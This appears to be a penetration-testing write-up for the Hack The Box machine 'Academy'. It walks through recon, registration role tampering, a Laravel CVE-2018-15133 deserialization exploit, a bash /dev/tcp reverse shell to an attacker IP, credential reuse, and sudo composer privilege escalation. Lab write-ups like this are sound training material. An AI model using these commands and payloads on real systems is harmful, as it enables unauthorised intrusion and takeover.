💥Cyb3rBook

ACADEMY

15 min read

PRIMARY CATEGORY → EASY

Summary

  • Web Enumeration (Directory Fuzzing with NMap)
  • Custom Dictionary Creation (Python Scripting)
  • Bruteforcing a Login Panel with Python Scripting
  • User Registration Role Changing (Via Burpsuite)
  • Exploiting CVE-2018-15133 (RCE Via Insecure Object Deserialization)
  • Privesc via Information Leakage
  • Privesc via Sudo Privileges

Setup

Directory creation with the Machine’s Name

mkdir Academy && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

Academy
mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
Academy/scans
ping -c1 10.129.148.205

As mentioned, according to the TTL, It seems that It is a Linux Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

Academy/scans
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn -oG allPorts 10.129.148.205

Open Ports → 22, 80, 33060

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

Academy/Scans
extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

Academy/Scans
nmap -p22,80,33060 -sCV -oN targeted 10.129.148.205
OS Version (Codename)

In Linux Systems, the Operative System Version could be extracted through Launchpad

According to the Version Column Data of the Comprehensive Scan, proceed as follows →

  • 22 - SSH

Reference

Firefox
OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 site:launchpad.net
  • 80 - HTTP

Reference

Firefox
Apache httpd 2.4.41 site:launchpad.net

Codename → Ubuntu Focal

This can be verified once the shell is obtained, i.e. the system has been compromised

There are several ways to carry out it →

cat /etc/os-release
hostnamectl # If System has been booted via Systemd
lsb_release -a
cat /etc/issue
cat /proc/version
22 - SSH

OpenSSH Version → v8.2

All the OpenSSH Versions prior to the v7.7 one are vulnerable to a System User Enumeration

Although, in this case It does not apply due to the current OpenSSH Version

The Version of the Service running can also be obtained via Banner Grabbing as follows →

Academy/scans
nc -v 10.129.148.205 22 <<< ""
33060 - MySQLx
nc -v 10.129.148.205 33060 <<< ""

No information related to the Service running in 33060 Port is displayed

Let’s move into the next for the moment

80 - HTTP
General Information
  • Banner Grabbing
Academy/scans
nc -v 10.129.148.205 80 <<< ""

The Web Server is an Apache, if a Local File Inclusion arises in the Web Application, we can start thinking about Apache’s Default Logs Paths to achieve an RCE via Log Poisoning

  • Server HTTP Response Headers
Academy/scans
curl --silent --request GET --location --head "http://10.129.148.205"

Same as above

Web Technologies

Let’s see the Web Application Technologies →

  • Whatweb
Academy/scans
whatweb http://10.129.148.205

From a request to the above URL, a redirection, through the HTTP Response’s Location Header, is applied to the Academy.htb Vhost

Just add the following lines in the /etc/hosts file

/etc/hosts
printf "%s" "10.129.148.205  academy.htb" >> /etc/hosts

Check it sending a ping to the vhost →

ping -c1 academy.htb
Nmap Fuzzing

Before proceed with Directory Enumeration using known Fuzzers, such as gobuster or wfuzz, run the Nmap Small Fuzzer first

Academy/scans
nmap -p80 --script http-enum -oN simpleWebScan 10.129.148.205

Two interesting resources are extracted, a Login Panel and one related to web administration

Furthermore, the above resources are PHP Scripts, therefore, we know that the Server side Language Programming is PHP

So, if a Command Injection or an RCE occurs, we can start thinking in several php functions to run commands in the system such as exec(), shell_exec(), system()

*Web Technologies 1

Once you access the website, let’s check again the Web Technologies reported by Wappalyzer

Zoom In

PHP as Programming Languages again

Browser-Based Web Revision

The following is displayed as a Home Page →

Zoom In

There is a Login section which corresponds to the above found login.php resource

The other one is a Register section, related to a register.php file

  • Login.php

Zoom In

Trying to spray common credentials such as admin:admin, guest:guest or similar does not work

We can run this script to generate a dictionary (like Cewl does) and try to bruteforce the Login Panel

Since this website seems to be a custom one i.e. not a known CMS, we cannot find any default credentials

Therefore, let’s try to check the registration funcionality in the register.php and create a valid user if It allows it

  • Register.php

Zoom In

We intercept with a HTTP Proxy, such as Burpsuite, the HTTP request and send it to the Repeater section

Zoom In

A POST Parameter that we could not be able to see it before in the Register Panel draws our attention

Its name is roleid and It seems such as Boolen or Integer Parameter. Its default value is 0

We can interpret that the default value, 0, is related to an Standard User default Role

Let’s see what happens if we change that Parameter value to 1

Zoom In

A 301 HTTP Status Code followed by a 200 one appears in the HTTP Server Responses

It seems that our user has been created, let’s log in in the login.php resource and see what happens

The following web page appears after log in → home.php

Zoom In

If we take a look to the website, there is nothing interesting there according to certain functionalities. It is a fairly static website

Remember that we found earlier an admin.php resource

  • Admin.php

Zoom In

Another login panel

It is not too much reasonable to think that we can log in with a Standard Username

But we altered the default Register Process modifying the roleid parameter

Thus, let’s see if we can log in

And we’re in!

Exploitation

RCE via Insecure Object Deserialization

An admin-page.php is displayed with the following content in the Admin.php resource

Zoom In

Some sensitive information is leaked

  • Some Potential System or Web Application Users → cry0l1t3 and mrb3n
  • A subdomain → dev-staging-01.academy.htb

According to what It appears, It seems that the above subdomain is related to another Web Application with a issue to fix

Let’s add the corresponding line in the /etc/hosts file and check it

/etc/hosts
printf "\t%s" "dev-staging-01.academy.htb" /etc/hosts

Once we access to the Web Page related to the dev-staging-01.academy.htb subdomain (Another Virtual Host), it displays the following content →

Zoom In

According to all the data displayed, It seems like we are facing a Laravel Application

Reference

  • Laravel → PHP Web Application Framework

In this case, this Laravel Application has Debug Mode enabled since one issue, with the application, has been reported as we saw earlier

Note that, when Laravel Debug Mode is set, some interesting information is leaked such as the Web Application System Path, Enviroment Parameters and other juicy data

But, amongs all this information, the following stands out →

Zoom In

  • APP_KEY

  • Database Credentials

Since we tried before to connect to the 33060 Port related to a MySQLx service but we couldn’t, let’s store this credentials for later use

In the other hand, we have the APP_KEY value, Normally, this APP_KEY is used by the Laravel Application to encrypt some authentication or session objects

This prevents those objects from being modified on the Client-Side. Therefore, no malicious payload crafting or modification of those objects can be performed

But, if the Laravel APP_KEY is leaked and the Object Deserialization performed in the Server-Side is not sanitized correctly, an attacker could craft a malicious payload to perform some Code Execution when the payload is deserialized

The above situation arise in certain Laravel versions, being these ones vulnerables, as mentioned here

See this too

Therefore, let’s try blindly to know if this Laravel Application is a vulnerable one

The following script has been developed to exploit this vulnerability

All related information also here

Check the Exploit here

Therefore, let’s run it as follows →

Academy/tools
mkdir Laravel
cd !$
Academy/tools/Laravel
wget "https://raw.githubusercontent.com/4l3xBB/Exploits/refs/heads/main/CVE-2018-15133/CVE-2018-15133.py" "https://raw.githubusercontent.com/4l3xBB/Exploits/refs/heads/main/CVE-2018-15133/requirements.txt"
Academy/tools/Laravel
python -m venv venv
source ./venv/bin/activate
pip install -r requirements.txt

Once the Script Setup is done, execute is as follows →

python3 CVE-2018-15133.py <APP_KEY> <URL> <ATTACKER_IP> <ATTACKER_LPORT>

Therefore

python3 CVE-2018-15133.py "dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=" "http://dev-staging-01.academy.htb/" "10.10.16.30" 443

Zoom In

We’re in!

Shell as Web User

As the tool says, the Reverse Shell obtained is an inestable one

Thus, just set a listen port in the Attacker Host and stablish another Reverse Connection from the Target Host as follows →

Attacker
nc -nlvp 444
Target
bash -c "bash -i &> /dev/tcp/10.10.16.30/444 0>&1"

Once a connection via Reverse Shell is stablished, just proceed as follows to upgrade the obtained shell to a Fully Interactive TTY

Reference

Script
Target
script /dev/null -c bash
<C-z>
Attacker
stty raw -echo ; fg
reset xterm
Target
export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc
stty rows <ROWS> columns <COLUMNS>

Privesc

Initial Non-Privileged User → www-data

Check the existent user directories in /home

ls -l /home

Likewise →

grep -i -- sh\$ /etc/passwd

In this case, there are quite a few users

Remember that some users were leaked earlier in the dev-staging-01.academy.htb’s Web Page

  • cry0l1t3
  • mrb3n
Information Leakage - Web Application File

if we access to the /var/www/html directory, there are some directories related to different Web Projects/Applications

ls -la /var/www/html

Examining the academy directory, we find the .env resource

cat .env

This file contains several credentials related to the Application and Connection Database

  • Password → mySup3rP4s5w0rd!!

We can check if Password Reusage applies in this case with the above listed system users

su cry0l1t3

and Boom!

We have been able to migrate to the cry0l1t3 user

User.txt Flag

This user has the User.txt flag in its home directory

Therefore, let’s report it in HTB →

cat ~/user.txt
Information Leakage - ADM Group

Current User → cry0l1t3

Let’s check the groups to which the current user belongs

id

This user is part of the ADM group

Any user belonging to this group usually has permissions to check the System and Services Logs located in the /var/log directory

Therefore, let’s apply some recursive research trying to get some sensible content from those logs

grep -RiP -- '(pass|passwd|password|su|mrb3n|egre55|21y4d|g0blin)' /var/log 2> /dev/null | less -R

Nothing interesting

But we found something checking the audit.log as follows →

Reference

aureport --tty | grep -iP -- "(su|sudo)"

The data which appears in the second line seems like a Password and It contains mrb3n, an existent System User

Let’s try to log in as mrb3n using the above string

and Boom Again!

We have been able to migrate to the mrb3n user

Sudo Privileges

If we list the Sudo Privileges of the current user →

sudo -l

The current user can run as ANY USER the /usr/bin/composer binary, i.e. we can run this binary as Root

So, if we are able to spawn a shell through this binary, we can spawn it as Root

Let’s check this in gtfobins.github.io

And there is way to accomplish the above action!

Reference

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

And Boom Again! 😊 We are Root!

At this point, simpy report the Root.txt flag and leave

cat ~/root.txt

Custom Exploits

Dictionary Generation - Bruteforce Login Panel

CVE-2018-15133

See here

Graph View

Backlinks